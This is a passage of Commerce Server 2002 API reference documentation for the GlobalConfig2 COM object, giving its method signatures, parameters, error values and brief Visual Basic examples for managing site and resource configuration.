[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

The pFields parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


GlobalConfig2 Object [C++]

GlobalConfig2 Object [Visual Basic]

Use this object to accomplish the following:

  • Create or delete resource configuration information
  • Save any updated global configuration information to the Administration database
  • Add a site
Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.
ProgID: | Commerce.GlobalConfig2 (Externally creatable)
COM Class Name: | GlobalConfig2
Type Library Name: | Microsoft Commerce 2002 Configuration Type Library
DLL Name: | MSCSCfg.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _GlobalConfig2
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the _GlobalConfig2 interface to access the properties and methods of the GlobalConfig2 object.

Methods

[C++]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.
[Visual Basic]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.
Properties
[C++]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

[Visual Basic]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

See Also

Integrating Custom Resources

Configuration Objects

[C++] SiteConfig Object

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfig Object

[Visual Basic] SiteConfigReadOnly Object


_GlobalConfig2 Methods [C++]

GlobalConfig2 Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.
[Visual Basic]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.


_GlobalConfig2::CreateServiceConfig Method [C++]

GlobalConfig2.CreateServiceConfig Method [Visual Basic]

Use this method to create an instance of the class specified by the bstrConfigSchemaClass parameter, set the Name property of the instance to the name specified in the bstrServiceName parameter, and load the instance into the site recordset. This method calls the SaveConfig method.

Definition

[C++]
HRESULT _GlobalConfig2::CreateServiceConfig(
  BSTR bstrServiceName,
  BSTR bstrConfigSchemaClass
);
[Visual Basic]
Sub CreateServiceConfig(
  bstrServiceName As String,
  bstrConfigSchemaClass As String
)

Parameters

bstrServiceName [C++]
[in] A BSTR that contains the new name for the resource configuration object instance.
bstrServiceName [Visual Basic]
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass [C++]
[in] A BSTR that contains the resource configuration schema class name.
bstrConfigSchemaClass [Visual Basic]
A String that contains the resource configuration schema class name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

The following table contains a list of schema classes for this method.

Administration Database Class Name | Resource Name
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_Datawarehouse_Group | Global Data Warehouse
MSCS_BizDataStore | Profiles

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyPredictor is a String denoting the new resource name
' oGlobalConfig2 is a Commerce GlobalConfig2 object
oGlobalConfig2.CreateServiceConfig(sMyPredictor, MSCS_Predictor)

See Also

[C++] GlobalConfig2 Object

[C++] _GlobalConfig2::DeleteServiceConfig

[Visual Basic] GlobalConfig2 Object

[Visual Basic] GlobalConfig2.DeleteServiceConfig


_GlobalConfig2::CreateSiteConfig Method [C++]

GlobalConfig2.CreateSiteConfig Method [Visual Basic]

Use this method to create a site using the name specified in the bstrSiteName parameter. This method calls the SaveConfig method. This method is used primarily from Commerce Server Manager or by Commerce Server Site Packager.

Definition

[C++]
HRESULT _GlobalConfig2::CreateSiteConfig(
  BSTR bstrSiteName,
  IMSCSSiteConfigAdmin** ppsca
);
[Visual Basic]
Function CreateSiteConfig(
  bstrSiteName As String
) As Object

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the new site name.
bstrSiteName [Visual Basic]
A String that contains the new site name.
ppsca [C++]
[out] The address of a pointer to the SiteConfig object used to return the site configuration settings.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a SiteConfig object that contains the site configuration settings.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The ppsca parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyNewSite is a string; oGlobalConfig2 is a Commerce GlobalConfig2 object
' oMSCSSiteConfig is a Commerce.SiteConfig object
oMSCSSiteConfig = oGlobalConfig2.CreateSiteConfig(sMyNewSite)

See Also

[C++] GlobalConfig2 Object

[C++] _GlobalConfig2::DeleteSiteConfig

[Visual Basic] GlobalConfig2 Object

[Visual Basic] _GlobalConfig2::DeleteSiteConfig


_GlobalConfig2::DeleteServiceConfig Method [C++]

GlobalConfig2.DeleteServiceConfig Method [Visual Basic]

Use this method to delete the specified resource, and to delete the Administration database association that links this resource to the site instance.

Definition

[C++]
HRESULT _GlobalConfig2::DeleteServiceConfig(
  BSTR bstrServiceName
);
[Visual Basic]
Sub DeleteServiceConfig(
  bstrServiceName As String
)

Parameters

bstrServiceName [C++]
[in] A BSTR that contains the name of the resource configuration object to be deleted.
bstrServiceName [Visual Basic]
A String that contains the name of the resource configuration object to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyPredictor is the name of an existing resource
' oGlobalConfig2 is a Commerce GlobalConfig2 object
oGlobalConfig2.DeleteServiceConfig (sMyPredictor)

See Also

[C++] GlobalConfig2 Object

[C++] _GlobalConfig2::CreateServiceConfig

[Visual Basic] GlobalConfig2 Object

[Visual Basic] GlobalConfig2.CreateServiceConfig


_GlobalConfig2::DeleteSiteConfig Method [C++]

GlobalConfig2.DeleteSiteConfig Method [Visual Basic]

Use this method to delete a site configuration object instance for the current site from the Administration database. This method is primarily used by Commerce Server Manager or by Commerce Server Site Packager.

Definition

[C++]
HRESULT _GlobalConfig2::DeleteSiteConfig(
  BSTR bstrSiteName
);
[Visual Basic]
Sub DeleteSiteConfig(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the site name.
bstrSiteName [Visual Basic]
A String that contains the site name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySiteName is an existing site name
' oGlobalConfig2 is a Commerce GlobalConfig2 object
oGlobalConfig2.DeleteSiteConfig(sMySiteName)

See Also

[C++] GlobalConfig2 Object

[C++] _GlobalConfig2::CreateSiteConfig

[Visual Basic] GlobalConfig2 Object

[Visual Basic] GlobalConfig2.CreateSiteConfig


_GlobalConfig2::GetGlobalResources Method [C++]

GlobalConfig2.GetGlobalResources Method [Visual Basic]

Use this method to retrieve a list of all the names of the resources from the Resources table in the Administration database.

Definition

[C++]
HRESULT _GlobalConfig2::GetGlobalResources(
_Recordset** retVal
);
[Visual Basic]
Function GetGlobalResources(
) As Object

Parameters

retVal [C++]
[out, retval] The address of a pointer to a _Recordset object. Each Field object in the recordset includes the name of a resource in the Resources table in the Administration database.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object. Each Field object in the recordset includes the name of a resource in the Resources table in the Administration database.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All normal SQL errors are returned by this method through the Err object. If no global resources exist, S_OK is returned, but the returned list will be empty.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::GetIfCollection Method [C++]

GlobalConfig2.GetIfCollection Method [Visual Basic]

Use this method to convert values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array. If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a Variant Array, then a Variant Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

Definition

[C++]
HRESULT _GlobalConfig2::GetIfCollection(
  VARIANT* strList,
  VARIANT* retVal
);
[Visual Basic]
Function GetIfCollection(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A pointer to the VARIANT that contains the encoded string to be converted.
strList [Visual Basic]
A Variant that contains the encoded string to be converted.
retVal [C++]
[out, retval] A pointer to a VARIANT used to return the converted data in the appropriate data type.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted data in the appropriate data type.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vVariant is a Variant; vEncodedString is a Variant
' oGlobalConfig2 is a Commerce GlobalConfig2 object
vVariant = oGlobalConfig2.GetIfCollection(vEncodedString)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::GetRefSites Method [C++]

GlobalConfig2.GetRefSites Method [Visual Basic]

Use this method to retrieve a list of all the site names that reference the given resource from the Administration database.

Definition

[C++]
HRESULT _GlobalConfig2::GetRefSites(
  BSTR strDisplayName,
_Recordset** retVal
);
[Visual Basic]
Function GetRefSites(
  strDisplayName As String,
) As Object

Parameters

strDisplayName [C++]
[in] A BSTR that contains the display name of the global resource.
strDisplayName [Visual Basic]
A String that contains the display name of the global resource.
retVal [C++]
[out, retval] The address of a pointer to a _Recordset object. Each Field object in the recordset includes the name of one of the sites that references the given resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object. Each Field object in the recordset includes the name of one of the sites that references the given resource.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All normal SQL errors are returned by this method via the Err object. If no sites reference the given resource, S_OK is returned, but the returned list will be empty.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::GetResourcePropAttrib Method [C++]

GlobalConfig2.GetResourcePropAttrib Method [Visual Basic]

Use this method to get a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[C++]
HRESULT _GlobalConfig2::GetResourcePropAttrib(
  BSTR strResourceName,
  BSTR strPropName,
  IDictionary** idictResPropAttrib
);
[Visual Basic]
Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As Object

Parameters

strResourceName [C++]
[in] A BSTR that contains the resource name.
strResourceName [Visual Basic]
A String that contains the resource name.
strPropName [C++]
[in] A BSTR that contains the resource property name.
strPropName [Visual Basic]
A String that contains the resource property name.
idictResPropAttrib [C++]
[out, retval] The address of a pointer to receive an IDictionary interface, which is used to return the key/value pairs that denote the attributes of the specified property of the specified resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to a Dictionary object containing the key/value pairs that denote the attributes of the specified property of the specified resource.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The idictResPropAttrib parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oGlobalConfig2 is a Commerce GlobalConfig2 object
dDict = _
oGlobalConfig2.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::Initialize Method [C++]

GlobalConfig2.Initialize Method [Visual Basic]

Use this method to load the global configuration from the Administration database.

Definition

[C++]
HRESULT _GlobalConfig2::Initialize(
  BSTR bstrGroupName
);
[Visual Basic]
Sub Initialize(
  Optional bstrGroupName As String
)

Parameters

bstrGroupName [C++]
[in, optional] A BSTR that contains the name of the global resource. If this parameter is present, this method will load only the records associated with this global resource.
bstrGroupName [Visual Basic]
A String that contains the name of the global resource. If this parameter is present, this method will load only the records associated with this global resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

On Developer Edition installations, code will be run to ensure that the maximum number of connections for an IIS Web site that host a Commerce Server 2002 application is not greater than 5. For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::MakeArrayFromSimpleList Method [C++]

GlobalConfig2.MakeArrayFromSimpleList Method [Visual Basic]

Use this method to convert the specified SimpleList object into an Array.

Definition

[C++]
HRESULT _GlobalConfig2::MakeArrayFromSimpleList(
  IDispatch** list,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromSimpleList(
  list As Object
) As Variant

Parameters

list [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an Array.
list [Visual Basic]
An object reference to the SimpleList that you wish to convert into an Array.
vtArray [C++]
[out, retval] A pointer to a VARIANT containing the converted Array.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted Array.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyVariant is a Variant
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig2 is a Commerce GlobalConfig2 object
vMyVariant = oGlobalConfig2.MakeArrayFromSimpleList(varMySimpleList)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::MakeArrayFromString Method [C++]

GlobalConfig2.MakeArrayFromString Method [Visual Basic]

Use this method to convert an encoded string read from the Fields property into an Array. If the encoded string does not indicate Array properties, then the method returns the original string that was passed into it.

Definition

[C++]
HRESULT _GlobalConfig2::MakeArrayFromString(
  VARIANT strList,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromString(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A VARIANT that contains the encoded string.
strList [Visual Basic]
A Variant that contains the encoded string.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array or unconverted String.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted Array or unconverted String.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant containing an encoded string read from the Fields
' property
' vArray is a Variant
' oGlobalConfig2 is a Commerce GlobalConfig2 object
vArray = oGlobalConfig2.MakeArrayFromString(vEncoded)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::MakeSimpleListFromArray Method [C++]

GlobalConfig2.MakeSimpleListFromArray Method [Visual Basic]

Use this method to convert an Array into a SimpleList object.

Definition

[C++]
HRESULT _GlobalConfig2::MakeSimpleListFromArray(
  VARIANT* varArray,
  IDispatch** iSimpleList
);
[Visual Basic]
Function MakeSimpleListFromArray(
  varArray As Variant
) As Object

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to convert.
varArray [Visual Basic]
A Variant that contains the Array to convert.
iSimpleList [C++]
[out, retval] The address of an IDispatch pointer used to return the converted SimpleList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to the converted SimpleList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The iSimpleList parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyArray is a Variant
' varMySimpleList is a SimpleList object
' oGlobalConfig2 is a Commerce GlobalConfig2 object
varMySimpleList = oGlobalConfig2.MakeSimpleListFromArray(vMyArray)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::MakeStringFromArray Method [C++]

GlobalConfig2.MakeStringFromArray Method [Visual Basic]

Use this method to convert an Array object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _GlobalConfig2::MakeStringFromArray(
  VARIANT* varArray,
  VARIANT* vtEncodedString
);
[Visual Basic]
Function MakeStringFromArray(
  varArray As Variant
) As Variant

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to encode.
varArray [Visual Basic]
A Variant that contains the Array to encode.
vtEncodedString [C++]
[out, retval] A pointer to a VARIANT used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the encoded string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The vtEncodedString parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant
' vArray is a Variant
